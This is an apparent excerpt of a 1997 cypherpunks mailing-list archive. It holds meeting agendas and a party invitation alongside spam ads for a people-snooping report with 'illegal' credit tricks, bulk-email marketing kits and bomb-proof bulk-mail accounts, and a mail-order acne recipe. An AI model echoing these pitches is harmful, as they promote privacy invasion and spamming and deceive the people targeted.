EFFECTIVE way to shed those uninvited pounds and inches NOW.

Call me for FREE SAMPLES -NOW!
(602) 874-4913








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 30455511@msn.com
Date: Wed, 10 Sep 1997 02:07:08 -0700 (PDT)
To: 25789111@msn.com
Subject: WARNING - Are you being Investigated ?
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





ARE YOU BEING INVESTIGATED????



Learn the Internet tools that are used to investigate you, your 

friends, neighbors, enemies, Employees or anyone else!  My huge 

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* Thousands of Internet locations to look up people, credit, 

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medical information, addresses, phone numbers, Maps to city 

locations...



Every day the media (television, radio, and newspapers) are full 

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over the Internet... usually without your permission or knowledge. 

With my report I show you HOW IT'S DONE!!!
	

It's amazing..

	

Locate a debtor that is hiding, or get help in finding hidden assets.



*   Find that old romantic interest.


*   Find e-mail, telephone or address information on just about 

     anyone! Unlisted phone numbers can often be found through 

     some of these sites!!



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INFORMATION.




      Check birth, death, adoption or social security records.


MILITARY

      Check service records of Army, Navy, Air Force or Marine 

      Corps. Find out who's been telling the truth and who's been 

      lying. Perhaps you can uncover the next lying politician!!!
 


FELLOW EMPLOYEES;


* Find out if your fellow employee was jailed on sex charges, or   

  has other "skeletons" in the closet!!



PERFORM BACKGROUD CHECKS;
  
   Check credit, driving or criminal records, Verify income or 

   educational claims, Find out Military history and discipline, 

   previous political affiliations, etc.


YOUR KID'S FRIENDS;


   Find out the background of your children's friends & dates.


WHATS THE LAW? STOP GUESSING!!


* Look up laws, direct from law libraries around the world. Is 

  that new business plan legal?? 




NEW JOB?  NEW TOWN?  NEW LIFE?

   Employment ads from around the world can be found on the 

   Internet. Get a new job and disappear!



The Internet can tell you just about ANYTHING, if you know WHERE 

to look. 



BONUS REPORT!!!!


Check your credit report and use the Internet to force credit 

bureaus to remove derogatory information. My special BONUS REPORT 

included as part of the "SNOOPING THE INTERNET" collection reveals 

all sorts of credit tricks, legal and for "information purposes 

only" some of the ILLEGAL tricks.


Research YOURSELF first!


What you find will scare you.


If you believe that the information that is compiled on you should 

be as easily available to you as it is to those who compile it, 

then. . .

You want to order the SNOOPING THE INTERNET report I've put 

together.


This huge report is WHERE YOU START! Once you locate these FREE 

private, college and government web sites, you'll find even MORE 

links to information search engines!

YOU CAN FIND OUT ANYTHING ABOUT ANYBODY ANY TIME using the Internet!!!!

  1) WE TAKE: AMERICAN EXPRESS <> VISA <> MASTERCARD
 
        TYPE OF CARD  AMX/VISA/MC??____________________
 
        NAME ON CREDIT CARD___________________________
 
       CREDIT CARD #___________________________________
 
        BILLING ADDRESS ________________________________
 
        CITY_____________________________________________
 
        STATE________________ZIP________________________
 
        PHONE INCLUDE AREA CODE______________________
 
        WE WILL BILL 39.95 to your account
 
        SALES TAX (2.90) added to CA residents 
 
  >>> Send $39.95 ($42.85 in CA) cash, check or money order to:
  >>> CASINO CHICO
  >>> Background Investigations Division
  >>> 305 Nord Ave.
  >>> P.O. Box 4191
  >>> Chico, CA 95927-4191


  2) Send the same above requested credit card information to above address. 


   3) Fax the same above credit card information to 916-895-8470

   4) Call phone # 916-876-4285.  This is a 24 hour phone number to          

      place a CREDIT CARD order.

 I will RUSH back to you SAME DAY my "SNOOPING THE INTERNET" report!

Log on to the Internet and in moments you will fully understand...

 What information is available -- and exact Internet site to get there!

2nd BONUS!!!!


Along with the report we will send a 3 1/2" disk with sites 

already "HOT LINKED". No need to type in those addresses. Simply 

click on the URL address and "PRESTO" you are at the web site!!! 


Personal ads, logs of personal e-mail, mention of individuals

anywhere on the Internet are "your for the taking" with this 

report.


Lists of resources to find even more information (private

Investigation companies, etc..) 


   Order surveillance equipment (if legal in your state)
  

Send anonymous e-mail
   
Research companies 

Research technology

Locate military records

 
FIND INFORMATION ON CRIMINALS 

   Find Wanted fugitives - perhaps even a close associate!

ABSOLUTE SATISIFACTION GUARANTEED:

Your satisfaction is 100% guaranteed, just return the material
For a full refund within 30 days if you aren't 100% satisfied.


Copyright 1997 All Rights Reserved

R Jon Scott Hall Publications. 



  THIS IS NOT A  FRANK MULLEN / CYBER PRODUCTS / SPYMASTER  PUBLICATION














From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@ecotone.xanadu.com>
Date: Thu, 11 Sep 1997 07:24:57 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: Cypherpunks Bay Area Meeting, This Satuday September 13th
Message-ID: <199709111308.GAA10510@ecotone.xanadu.com>
MIME-Version: 1.0
Content-Type: text/plain



What:	Cypherpunks September 1997 Bay Area Meeting
When:	Saturday September 13, 12 noon till 5pm
Where:	PGP World Headquarters, 2nd floor meeting room
	Bayview Bank Building, just south of Hwy. 92
	2121 S. El Camino Real, San Mateo California
	http://www.pgp.com/pgpcorp/contactpgp.cgi#head

Agenda:
	Forbes Article background, everyone
	Cypherpunks at HIP'97, Lucky Green, David Del Torto
	Ecash announcement, Jeremey Barrett, BlueMoney Software Corp.
	Linux Onion Router, Jeremey Barrett
	Diffie-Helman Free of Patent, ???
	New FBI Anti-Crypto Bill, how to react, everyone
	Domain name conference report, John Gilmore
	Attacks on US remailers etc., Bill Stewart
	???

After:
	Eat dinner somewhere yet to be decided...

PGP Building Access:

This is an Open Meeting on US Soil and it is free for anyone to attend. 

      There is a minor building security formality due to the facilities
        being in a bank building:  anytime after 12 noon, approach the 
        Bayview Building's Information window (in the plaza, see below for
        directions), and ask the Guard on Duty to let you up to the 
        2nd Floor for the Cypherpunks meeting (use the passphrase 
        "cypherpunks release code"). If you have any difficulty
        (eg. if the guard is on a break), simply call DDT at +1 415
	730 3583 he I'll let you in. 
      You can arrive at any time during the scheduled meeting hours, 
        though earlier is better if you want to hear the interesting stuff. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@ecotone.xanadu.com>
Date: Fri, 12 Sep 1997 22:00:06 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: Cypherpunks September Bay Area Meeting _Update_
Message-ID: <199709130500.WAA15710@ecotone.xanadu.com>
MIME-Version: 1.0
Content-Type: text/plain



  Update, more detail in the Agenda and a request for folks to where
their "Key Escrow Agent" jackets for a photo op (from behind I would
guess, but bring your mirror shades in any case...).
  Please also note that this is the 5th anniversary of Cypherpunks
Meetings!  Can thing get much stranger then this?

What:	Cypherpunks September 1997 Bay Area Meeting
When:	Saturday September 13, 12 noon till 5pm
Where:	PGP World Headquarters, 2nd floor meeting room
	Bayview Bank Building, just south of Hwy. 92
	2121 S. El Camino Real, San Mateo California
	http://www.pgp.com/pgpcorp/contactpgp.cgi#head

Agenda:
	Cypherpunks at HIP'97, Lucky Green, David Del Torto
	Ecash announcement, Jeremey Barrett, BlueMoney Software Corp.
	Linux Onion Router, Jeremey Barrett
	Diffie-Helman Free of Patent, Three Cheers
 13:00	Washingtoon Crypo Legislation update, Kelly ??? of PGP
	New FBI Anti-Crypto Bill, how to react, Eric Hughes
	Break
	Forbes Article background, everyone
	Domain name conference report, John Gilmore
	Attacks on US remailers etc., Bill Stewart
	???

After:
	Eat dinner somewhere nearby yet to be decided...

PGP Building Access:

This is an Open Meeting on US Soil and it is free for anyone to attend. 

      There is a minor building security formality due to the facilities
	being in a bank building:  anytime after 12 noon, approach the 
	Bayview Building's Information window (in the plaza, see below for
	directions), and ask the Guard on Duty to let you up to the 
	2nd Floor for the Cypherpunks meeting (use the passphrase 
	"cypherpunks release code"). If you have any difficulty
	(eg. if the guard is on a break), simply call DDT at +1 415
	730 3583 he I'll let you in. 
      You can arrive at any time during the scheduled meeting hours, 
	though earlier is better if you want to hear the interesting stuff. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: xjr16terxzqn@12572.com
Date: Sat, 13 Sep 1997 18:10:04 -0700 (PDT)
To: Friend@public.com
Subject: Tip
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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A Utah woman ships packages containing a dozen chocolate chip cookies with a floral stem pushed through the middle. She started the business by advertising on in-flight airline magazines, taking orders by phone and shipping UPS. The result? $40,000 in sales the first year, with projected profits of $80,000 the next!

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- Newspaper Classified Advertising
- Self-Publishing: How to Write Your Book Using Nothing But Some Loose Leaf Paper and a Tape Recorder!
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This is a limited time offer, and may be withdrawn without notice!

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8070 La Jolla Shores Drive, Suite 243
La Jolla, CA 92037


=============== Print and Mail Order Form =====================

[  ] Yes! Enclosed is my check or money order for $19.95. Please rush
THE KITCHEN TABLE MILLIONAIRE and FREE "PowerSecrets" bonus
by Priority mail! I understand if I'm not 100% satisfied I may return the
book any time for a full refund--there is no 30, 60 or even 90-day limit.


Name ____________________________________________


Address __________________________________________


City ______________________ State ______ Zip _________


CA residents please add 8.25% sales tax.
All U.S. orders promptly shipped by Priority mail.

=========================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: xlj16twqzxy@18934.com
Date: Thu, 18 Sep 1997 10:55:24 -0700 (PDT)
To: Friend@public.com
Subject: The Truth About E-Mail Marketing
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


******************************************************
NEW  ====> ResponsEmail Marketing System
******************************************************
http://www.windansea1.com/rem.htm


Interested in Marketing Your Product or Service by Direct E-mail?

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Whatever Your Product, Service or Budget, ResponsEmail Delivers RESULTS!

INCREDIBLE DISCOUNT... Limited Time Only!


<><><> What You Get <><><>

Directory of top bulk e-mail servers and ISPs, where you can mail without losing your account. Includes secure POP accounts, CGI-scripts, web hosting, autoresponders, etc.

Reliable sources for mailing lists; how to generate your own targeted lists in real time, virtually eliminating undeliverables! Even mail to prospects while they're actually online. It simply doesn't get any more immediate than that!

Free e-mail address list consortium, where to find free Remove lists, and more!

Where to find affordable bulk mail software tailored to your budget. From free and shareware to mega-mailer clients. ResponsEmail will have you up and running in no time!

How to mail to AOL... the latest tips and strategies! How to send custom messages to AOL members, AOL hot spots for bizop and business-to-business e-mail addresses, and more!

USENET newsgroups that are safe to post ads and extract addresses

How to bulk e-mail for MAXIMUM RESULTS. E-mail is a very unique medium, and requires a unique approach. Learn how to distinguish yourself from the crowd, create rapport and gain the trust and confidence of your prospects. Write killer ads that attract an AVALANCHE of response (ResponsEmail has generated response rates as high as 70 percent!) 

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A wealth of free resources and tips: secret e-mail marketers' organization, how to filter your mailing lists with Microsoft Excel, easy way to make banners for your Web site, reduce your Web graphics up to 90%,  and more!

***********************************************************************

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Stop wasting your valuable time and resources chasing dead ends:

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<><><> Legal Stuff <><><>

The ResponseMail E-Mail Marketing System is copyright 1997, and
is intended for the exclusive, private use of registered participants
only. Upon acceptance and registration, you must agree to sign a
Non-Disclosure Agreement upon payment of the $59.95 (U.S.)
application fee, which legally precludes you from revealing the
information contained in the ResponseMail E-Mail Marketing System
in whole or in part without expressed written permission.

As soon as you complete and return the Non-Disclosure
Agreement, you will receive the ResponseMail software, server
contact information and complete tutorial by e-mail, including
support by telephone and e-mail.

Please print, complete and rush with your payment of $59.95 to:

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8070 La Jolla Shores Drive, Suite 243
La Jolla, CA 92037

**********************************************************************
[  ] Yes! I want the e-mail marketing secrets of the pros! I am
enclosing my check or money order for $59.95. Please rush
the complete ResponsEmail Marketing System, including free
1 million hot list, THE KITCHEN TABLE MILLIONAIRE and
PowerSecrets bonus!


Name ___________________________________

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Orders are fulfilled the same day they are received.

**********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cte@nevwest.com
Date: Thu, 18 Sep 1997 19:39:57 -0700 (PDT)
To: friend@in2surfin.com
Subject: $56
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain



You just gotta check this out!!----->
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

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PLUS ... BUILT IN 24 HR 'INSTANT BUCK'S' SALES OPPORTUNITY!

PROTECT YOUR PRIMARY ISP ... PERMANENTLY.
Cybertize Email shelters your primary ISP address, and provides you with a 100%
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UNLIMITED E-MAILING!
No limit to how many e-mails you can send. You will have your own 
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No costly dial-up phone charges. Dial up accounts will double the cost of
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In addition YOU are the postmaster of your own domain. You can also code 
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====================================================================
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        ORDER BY 1:00 PM, BE UP BY 4:00PM the SAME DAY
      Visit our web site "http://www.cybertize-email.com/   
====================================================================

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------------------------ FREE Cybertize Email REGISTRATION -------------------

[  ] Yes, I'm in! I want a Nuke-Proof bulkmail friendly e-mail account.
[  ] I also want to be an authorized Cybertize reseller. Please rush my authorized 
users sales kit so I can get started and make some Wednesday profits ASAP!

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----------------------------------------------------------------------
## MY AUTHORIZED CTE SALES REP IS:   
----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cte@nevwest.com
Date: Thu, 18 Sep 1997 19:50:19 -0700 (PDT)
To: friend@in2surfin.com
Subject: $56
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain



You just gotta check this out!!----->
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

ANNOUNCING ... BULKMAIL FRIENDLY E-MAIL ACCOUNTS
PLUS ... BUILT IN 24 HR 'INSTANT BUCK'S' SALES OPPORTUNITY!

PROTECT YOUR PRIMARY ISP ... PERMANENTLY.
Cybertize Email shelters your primary ISP address, and provides you with a 100%
safe and permanent ISP, with YOUR OWN VIRTUAL DOMAIN, for a reliable 
Bulk Email friendly mailing point. Unlimited e-mails, flame and bomb 
proof, non dial-up, Web Page hosting.

UNLIMITED E-MAILING!
No limit to how many e-mails you can send. You will have your own 
virtual domain!! www.YOUR DOMAIN.com. Imagine the possibilities. Be on 
a level playing field with the big boys. All accounts come with Email 
redirect to your own mailbox

NON DIAL UP ... FREE ACCESS WITH YOUR REGULAR ISP!
No costly dial-up phone charges. Dial up accounts will double the cost of
your account over the year from toll calls to send and receive your mail. 
Our server costs nothing for phone calls. You access Cybertize Email simply 
by logging on to your regular ISP, then POP in with your present e-mail 
program. You are then automatically connected to CTE's servers with multi 
T-1 access. Save hundreds of dollars on phone bills!

COMPLETELY FLAME AND MAILBOMB PROOF!
Flamers can no longer annoy the postmaster, because
Cybertize was set up especially for commercial bulk e-mailing. Mail bombs are 
automatically bounced back to the sender due to the powerful mail filters 
at our servers. We just won't accept it! 

POSTMASTER AT YOUR DOMAIN
In addition YOU are the postmaster of your own domain. You can also code 
your ad's for your own use, EVERY piece of mail comes back to you, and is 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FundPros@lyonscapital.com
Date: Fri, 19 Sep 1997 02:56:14 -0700 (PDT)
To: Friend@public.com
Subject: Need Capital?
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
DO YOU NEED MONEY?  Are you looking to raise capital for 
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To be removed from future mailings please send an email 
to remove@lyonscapital.com with "remove" in the subject
line.

</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 23570800@prodigy.com
Date: Fri, 19 Sep 1997 07:47:54 -0700 (PDT)
To: members@aol.com
Subject: (E17) TONER
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 66399210@compuserve.com
Date: Tue, 23 Sep 1997 00:48:24 -0700 (PDT)
To: friendsat@aol.com
Subject: MAKE IT YOURSELF ACNE RECIPE
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain



Do you suffer from unsightly BLEMISHES, ACNE or ZITS, yech.  Or do you know
someone that suffers?  If yes, then you or your friends should try what I used
when I was in High School.  It really worked for me.  My friends and I had acne
but my mom made up this great Acne Remover and they were gone the next day.
WOW I thought and so did my friends who wanted it too.  They also wanted to
know how to make it, but I just gave them a bottle of Acne Remover and they
were happy.  So were the girls that we all dated.  The pimples usually went away
the next day, just in time for a date that weekend.  I couldn't believe my eyes or
should I say my face.  I held onto that recipe for years, thinking that someday
I'll manufacture it and sell it, but I never did.  Now you too can make it yourself.
Imagine not having to pay hundreds of dollars to the drug store for expensive
products when you can make a better product yourself right at home!  That's
what we did and it worked great for me.

OK, what's the cost?  A mere $19.95 for my fellow sufferers.  I could have
charged more for this, but I thought, help others like I was helped out by
my family.  Send $19.95 plus $1.00 for shipping and handling for a total of
$20.95 right away to:

Internet Marketing
22704 Ventura Blvd., Ste. 200
Woodland Hills, CA 91364

Include your email address and if you are in California, please add $1.51 for a total
of $22.46.

It worked so great for me that it's called "CLEAR UP."  Remember, once you have
the recipe for CLEAR UP, you can make it yourself forever!!!

Send for CLEAR UP right away and stop suffering.  You'll be happy you did.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Fri, 26 Sep 1997 20:45:24 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: PARTY!
Message-ID: <Pine.SUN.3.91.970926202455.3000A-100000@crl8.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Hi Folks,

Here's an invitation to my latest and greatest costume party ever.  
Be there or be square.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


                     AREA 51+ PARTY
                     ~~~~~~~~~~~~~~

             The Pleasure of Your Company
            is Cordially Requested at the:

                    Third Occasional
                   Anarcho-Dilettante
             Pick-Your-Own-Damned-There,
            Masquerade Ball, Talent Show
               And Halloween Rehearsal

7:00pm Saturday October 13--3:00am Sunday October 14

             650 Kenwyn Road (at McKinley)
                  Oakland, California

        Loads of things happened on October 18.
       We're not going to tell you which one to
    commemorate.  That's up to you.  Check out the
 birthdays and historical events listed below.  Pick
      one or go with something else.  Your call.

      But no matter what theme you pick, it IS a
      masquerade ball, so you MUST wear a costume
         (or at least a mask).  NO EXCEPTIONS.

       (Please, adults only.  We regret that our
        house is very unsuitable for children.)

                   THE ENTERTAINMENT

  At 8:00pm there will be a Dance Recital featuring
         Rainbeau, Gracie, Tish and Blythe.  
           You DO NOT want to miss this.

     At 9:00pm there will be a Guest Talent Show.
    If you can sing, dance, tell a joke or pull a
    rabbit out of a hat, we IMPLORE you to sign up
    for this featured event.  There will be prizes!

                    CALL FOR TAPES

    If you did not like the music at the previous 
      parties, we encourage you to bring a tape. 
         We will play them for thirty minutes 
        or until those actually dancing revolt. 
              The default music will be 
       Digital Music Express Dance Music Channel 
        (or 70's disco by dance floor request).

                      DOOR PRIZES

      Around Midnight, there will be a drawing for
          valuable and/or unique Door Prizes.
             (You must be present to win.)

                      COMESTIBLES

        There will be some snacks and soft drinks, 
        but if you are really hungry, it might be 
           a good idea to eat before you come.

                        B.Y.O.B.

      (Smoke'em if ya got'em, but outside, please.
          the house is a smoke-free zone.)

                         RSVP

     Whether or not you are planning to attend, 
 we want to hear from you.  Please give the hosts 
a call so we can plan on your presence OR absence.

  Invited guests may bring additional celebrants
 WITH PRIOR PERMISSION OF THE HOSTS.  This means
 you must call a host and get permission for EACH
 of the people you intend to bring.  The house is
big, but it is possible to have too many attendees.

                      YOUR HOSTS

       Head Anarchist in Charge, Sandy Sandfort
            510-839-3441/sandfort@crl.com

      House Hosts with the Most, Gracie & Zarkov
              510-832-2044/emyrt@aol.com

    Web page host Sameer Parekh and C2Net Software
              510-547-3617/sameer@c2.net

    P.S.  THERE WILL BE A LATE FEE OF 10 CENTS PER 
    MINUTE FOR EACH MINUTE YOU ARRIVE AFTER 8:00PM.  
 The party starts at 7:00, so you get an our for free.  
        Late fees will be used to defray costs.  
         (This is no joke.  More than $100 was 
      collected at each of the last two parties.)

   Pictures from the 2nd Occasional Masquerade Ball 
                    may be found at:

           http://www.c2.net/~sandy/web.htm


OCTOBER 18 IN HISTORY

This is "Any Way You Look at It" Day! 

On this day in 1961, Henri Matisse's painting, "Le Bateau" 
went on display in the Museum of Modern Art in New York City.  
For six days, nobody realized it was hanging upside down.

1842 - Samuel Finley Breese Morse, laid his first telegraph 
cable in New York Harbor between the Battery and Governor's 
Island.

1892 - The first long-distance telephone communication was 
established between the mayors of New York and Chicago.

1924 - The term "Four Horsemen" was used in a "New York Herald 
Tribune" article by columnist Grantland Rice.  The referenced 
Four Horsemen were the backfield of the University of Notre Dame 
which had beaten Army, 13-7. 

1935 - Victor record #25236 was recorded this day by Tommy Dorsey 
and his Orchestra. It would become one of the most familiar Big 
Band themes of all time: "I'm Getting Sentimental Over You". 

1943 - The first broadcast of "Perry Mason" was presented on CBS 
Radio. In the 15-minute (Monday-Friday) shows, Perry was played by 
Barlett Robinson, Santos Ortega, Donald Briggs and John Larkin. 
Larkin played the role the longest and was reportedly very 
disappointed when Raymond Burr got the gig on TV (1957). 

1944 - The epic book, "Forever Amber", was published.  This 
historic-romance novel was written by Kathleen Windsor. Although 
the book was very popular among women between the ages of 12 and 
24, it was considered scandalous to be seen reading it; a reaction 
that lasted at least another three decades. 

1956 - Football commissioner Bert Bell turned thumbs down on the 
use of radio-equipped helmets by NFL quarterbacks.  

1971 - The final issue of "Look" magazine was published. It had 
been a must-see publication every week for 34 years. 

1977 - Reggie Jackson made history and earned the nickname, 
Mr. October.  Regg-a-roo (as Howard Cosell called him) hit three 
home runs on three successive pitches leading the Yankees to an
8-4 thrashing of the LA Dodgers in Game 6 of the World Series. 

1979 - Following extensive renovation to return Radio City Music 
Hall to the look and feel of its 1931 Art Deco glory, the 
venerable New York City theatre reopened. "Snow White and the 
Seven Dwarfs" was the first live presentation. 

1983 - Kenny Rogers and Dolly Parton received some gold to add 
to their collections --for their smash, "Islands in the Stream". 


OCTOBER 18 BIRTHDAYS

1854 - Salomon Andree (explorer: ill-fated North Pole expedition) 

1859 - Henri Bergson (Nobel prize-winning philosopher, author: 
Creative Evolution) 

1898 - Lotte Lenya (Karoline Blamauer) (Tony Award-winning singer, 
actress: Threepenny Opera; From Russia with Love, Semi-Tough, 
Roman Spring of Mrs. Stone) 

1902 - Miriam Hopkins (actress: The Children's Hour, The Chase, 
Carrie, Barbary Coast) 

1906 - James Brooks (artist: Flight: 235 ft. mural at La Guardia 
National Airport, NY; abstract expressionist exhibit: Ninth Street 
Exhibition) 

1918 - Bobby Troup (actor: Emergency; singer, musician, TV host: 
Stars of Jazz; married to singer, Julie London) 

1919 - Pierre Elliott Trudeau (Prime Minister of Canada)

1925 - Melina Mercouri (actress: Never on Sunday, Once is Not 
Enough, Topkapi; Greece's Minister of Culture) 

1926 - Chuck (Charles Edward Anderson) Berry (singer: Lifetime 
Achievement Grammy; Maybellene, Roll Over Beethoven, School Day, 
Rock & Roll Music, Sweet Little Sixteen, Johnny B. Goode, My 
Ding-A-Ling; in film: Rock, Rock, Rock) 

1927 - George C. Scott (Academy Award-winning actor: Patton; 
Anatomy of a Murder, The Day of the Dolphin, The Hanging Tree, 
Taps, Oklahoma Crude, The Prince and the Pauper, The Murders in 
the Rue Morgue, Malice) 

1928 - Keith Jackson (sportscaster: ABC Sports, Wide World of 
Sports) 

1933 - Peter Boyle (Emmy Award-winning actor: The X-Files; Taxi 
Driver, While You were Sleeping, Young Frankenstein, Midnight 
Caller, From Here to Eternity [TV]) 

1933 - Forrest Gregg (Pro Football Hall of Famer: Green Bay 
Packers offensive tackle: Super Bowl I, II; Dallas Cowboys: Super 
Bowl VI; head coach: Cleveland Browns, Cincinnati Bengals: AFC 
Coach of the Year [1981]: Super Bowl XVI; Green Bay Packers; 
Southern Methodist University Athletic Director) 

1934 - Inger Stevens (Stensland) (actress: The Farmer's Daughter, 
Madigan, A Guide for the Married Man, Hang 'Em High) 

1937 - Boyd Dowler (football: Green Bay Packers wide receiver: 
Super Bowl I, II) 

1939 - Mike Ditka (Pro & College Football Hall of Famer: Chicago 
Bears Rookie of the Year; Philadelphia Eagles; Dallas Cowboys 
tight end: Super Bowl V, VI; Chicago Bears head coach:  Super Bowl 
XX; TV sports analyst: NBC Sports) 

1943 - Willie Horton (baseball: Detroit Tigers outfielder) 

1947 - Laura Nyro (singer: Up on the Roof; songwriter: Wedding 
Bell Blues, Blowin' Away, And When I Die, Stoney End, Stoned Soul 
Picnic, Sweet Blindness, Eli's Coming, Time and Love, Save the
Country) 

1950 - Wendy Wasserstein (writer: The Heidi Chronicles, Bachelor 
Girls) 

1951 - Pam Dawber (actress: Mork & Mindy, My Sister Sam) 

1952 - Jerry Royster (baseball: LA Dodgers pitcher) 

1960 - Jean Claude Van Damme (actor: Kickboxer, Universal Soldier, 
Double Impact, Hard Target, Nowhere to Run, Predator II) 

1961 - Erin Moran (actress: Happy Days, Joanie Loves Chachi, The 
Don Rickles Show, Daktari, Galaxy of Terror, Twirl, Watermelon 
Man, How Sweet It Is!) 

1961 - Wynton Marsalis (Grammy Award-winning musician: jazz/
classical trumpet:  Think of One [1983]; played on: Father & Sons; 
in orchestra: Sweeney Todd; composer: TV theme song for Shannon's 
Deal) 


OCTOBER 18 CHART TOPPERS

1957 
Chances Are/The Twelfth of Never - Johnny Mathis 

Jailhouse Rock - Elvis Presley 

Be-Bop Baby/Have I Told You Lately That I Love You - Ricky Nelson 

Wake Up Little Susie - The Everly Brothers 


1965 
Yesterday - The Beatles 

Treat Her Right - Roy Head 

You've Got Your Troubles - The Fortunes 

Behind the Tear - Sonny James 

1973 
Half-Breed - Cher 

Ramblin' Man - The Allman Brothers Band 

Angie - The Rolling Stones 

Ridin' My Thumb to Mexico - Johnny Rodriguez 

1981 
Arthur's Theme (Best that You Can Do) - Christopher Cross 

For Your Eyes Only - Sheena Easton 

Private Eyes - Daryl Hall and John Oates 

Step by Step - Eddie Rabbitt 


THIRD SATURDAY IN OCTOBER

Sweetest Day

Frabjous Day

Ironman Triathalon


MISC.

Persons Day (Canada)

St. Luke's Day (patron of doctors, painters, glassmakers, artists, 
butchers, notaries,
sculptors)

Festival of Poetic Terrorism

Alaska Day

Pandrosos (Greek all-refreshing Goddess)

Great Horn Fair (Kent, UK)

National Chocolate Cupcake Day

Chile Independence Day

No Beard Day

Lukesmas

International Credit Union Day 

Ivory Soap invented

1st Art school opened

Sandblasting patented

BBC Radio established (1922)

H.E.W. banned cyclamates

Brotherhood of the Cooperative Commonwealth founded (1895)

Puerto Rico became US Colony (1898)

Lincoln shaved off his beard

Hi and Lois comic strip began (1954)

Water Pollution Control Act passed (1972)

XYZ Affair

Citroen 2CV automobile introduced (1948)

Roseanne debuted (1988)

1st War Crimes trial began (1945)

Disney's Jungle Book premiered

John Lennon and Yoko Ono arrested for marijuana possession 
(London; 1968)

Rules of American Football 1st formulated (1873)

US attacked Iranian oil rig in retaliation for gunboat attacks 
(1987)

International Court of Justice at the Hague announced (1907)

UK declared Canadian women to be "persons" (1929)
 
Louis XIV revoked the Edict of Nantes forcing many protestants 
(aka Huguenots) to flee France (1685)

Teddy Roosevelt is ridiculed in the press for inviting black 
leader Booker T. Washington to the White House (1901)

men to be "persons" (1929)
 
Louis XIV revoked the Edict of Nantes forcing many protestants 
(aka Huguenots) to flee France (1685)

Teddy Roosevelt is ridiculed in the press for inviting black 
leader Booker T. Washington to the White House (1901)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 27 Sep 1997 10:33:48 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: PARTY!
Message-ID: <Pine.SUN.3.91.970926233318.18816B-100000@crl4.crl.com>
MIME-Version: 1.0
Content-Type: text/plain



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

Like Barbie says, "Math is hard!"  Below, is an invitation to my
next and best costume party of all time.  It even has the correct
date and everything.  Do come if you can.  It will be a doozie.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


                     AREA 51+ PARTY
                     ~~~~~~~~~~~~~~

             The Pleasure of Your Company
            is Cordially Requested at the:

                    Third Occasional
                   Anarcho-Dilettante
              Pick-Your-Own-Damned-There,
             Masquerade Ball, Talent Show
                And Halloween Rehearsal

7:00pm Saturday October 18--3:00am Sunday October 19

             650 Kenwyn Road (at McKinley)
                  Oakland, California

        Loads of things happened on October 18.
       We're not going to tell you which one to
    commemorate.  That's up to you.  Check out the
 birthdays and historical events listed below.  Pick
      one or go with something else.  Your call.

      But no matter what theme you pick, it IS a
      masquerade ball, so you MUST wear a costume
         (or at least a mask).  NO EXCEPTIONS.

       (Please, adults only.  We regret that our
        house is very unsuitable for children.)

                   THE ENTERTAINMENT

  At 8:00pm there will be a Dance Recital featuring
         Rainbeau, Gracie, Tish and Blythe.  
           You DO NOT want to miss this.

     At 9:00pm there will be a Guest Talent Show.
    If you can sing, dance, tell a joke or pull a
    rabbit out of a hat, we IMPLORE you to sign up
    for this featured event.  There will be prizes!

                    CALL FOR TAPES

    If you did not like the music at the previous 
      parties, we encourage you to bring a tape. 
         We will play them for thirty minutes 
        or until those actually dancing revolt. 
              The default music will be 
       Digital Music Express Dance Music Channel 
        (or 70's disco by dance floor request).

                      DOOR PRIZES

      Around Midnight, there will be a drawing for
          valuable and/or unique Door Prizes.
             (You must be present to win.)

                      COMESTIBLES

        There will be some snacks and soft drinks, 
        but if you are really hungry, it might be 
           a good idea to eat before you come.

                        B.Y.O.B.

